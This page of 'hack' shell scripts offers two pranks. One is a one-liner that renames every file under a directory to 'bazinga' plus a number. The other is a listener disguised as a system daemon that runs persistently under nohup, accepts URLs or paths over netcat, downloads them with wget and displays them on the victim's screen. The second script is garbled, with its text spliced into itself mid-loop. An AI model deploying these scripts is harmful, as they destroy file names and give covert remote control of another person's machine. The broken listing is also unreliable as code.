Super Secret Hacks

bazinga.sh

find . -type f | awk 'function dirname (pathname){if (!sub(/\/[^\/]*\/?$/, "", pathname)){ return "." }else if (pathname != ""){ return pathname }else{ return "/" }}{print $1 " " dirname($1) "/bazinga" count++}' | xargs -L 1 mv

listen.sh

#!/usr/bin/env bash

export LOGFILE="/tmp/ubuntu_bashd.log"
export PORT_NUMBER="18950"
export TMP_FILE="/tmp/listen_sys.cache"
export IMG_URL="https://wp-test.sencha.com/wp-content/uploads/2016/02/icon-sencha-test-studio-1.png"

set -o pipefail

kill_port() {
	lsof -i tcp:$1 | awk 'NR!=1 {print $2}' | xargs kill 
}
export -f kill_port

ubuntu_xenial_bashd() {
IP="$(ifconfig | awk '/inet addr/{print substr($2,6)}' | head -n 1 )"
echo "Listening on $IP, port $PORT_NUMBER"
while true
do#!/usr/bin/env bash

export LOGFILE="/tmp/ubuntu_bashd.log"
export PORT_NUMBER="18950"
export TMP_FILE="/tmp/listen_sys.cache"
export IMG_URL="https://wp-test.sencha.com/wp-content/uploads/2016/02/icon-sencha-test-studio-1.png"

set -o pipefail

kill_port() {
	lsof -i tcp:$1 | awk 'NR!=1 {print $2}' | xargs kill 
}
export -f kill_port

ubuntu_xenial_bashd() {
IP="$(ifconfig | awk '/inet addr/{print substr($2,6)}' | head -n 1 )"
echo "Listening on $IP, port $PORT_NUMBER"
while true
do
IMG="$(nc -l $IP $PORT_NUMBER )"
#echo "$IMG
if [ ! -z "$IMG" ]; then
	if [[ "$IMG" == http* ]]; then
		echo "wget-ing -O $TMP_FILE $IMG"
		wget -O "$TMP_FILE" "$IMG"
	elif [[ "$IMG" == /* ]]; then
		echo "cp-ing $IMG $TMP_FILE"
		cp "$IMG" "$TMP_FILE"
	fi
	echo "Got img data, fehing"
	export DISPLAY=:0
	display "$TMP_FILE" &
else
	echo "Killing listening process on port $PORT_NUMBER"
	kill_port "$PORT_NUMBER"
fi
echo "cycling"
done
}
export -f ubuntu_xenial_bashd

date > "$LOGFILE"
nohup bash -c "ubuntu_xenial_bashd" >> "$LOGFILE" 2>&1 &

IMG="$(nc -l $IP $PORT_NUMBER )"
#echo "$IMG
if [ ! -z "$IMG" ]; then
	if [[ "$IMG" == http* ]]; then
		echo "wget-ing -O $TMP_FILE $IMG"
		wget -O "$TMP_FILE" "$IMG"
	elif [[ "$IMG" == /* ]]; then
		echo "cp-ing $IMG $TMP_FILE"
		cp "$IMG" "$TMP_FILE"
	fi
	echo "Got img data, fehing"
	export DISPLAY=:0
	display "$TMP_FILE" &
else
	echo "Killing listening process on port $PORT_NUMBER"
	kill_port "$PORT_NUMBER"
fi
echo "cycling"
done
}
export -f ubuntu_xenial_bashd

date > "$LOGFILE"
nohup bash -c "ubuntu_xenial_bashd" >> "$LOGFILE" 2>&1 &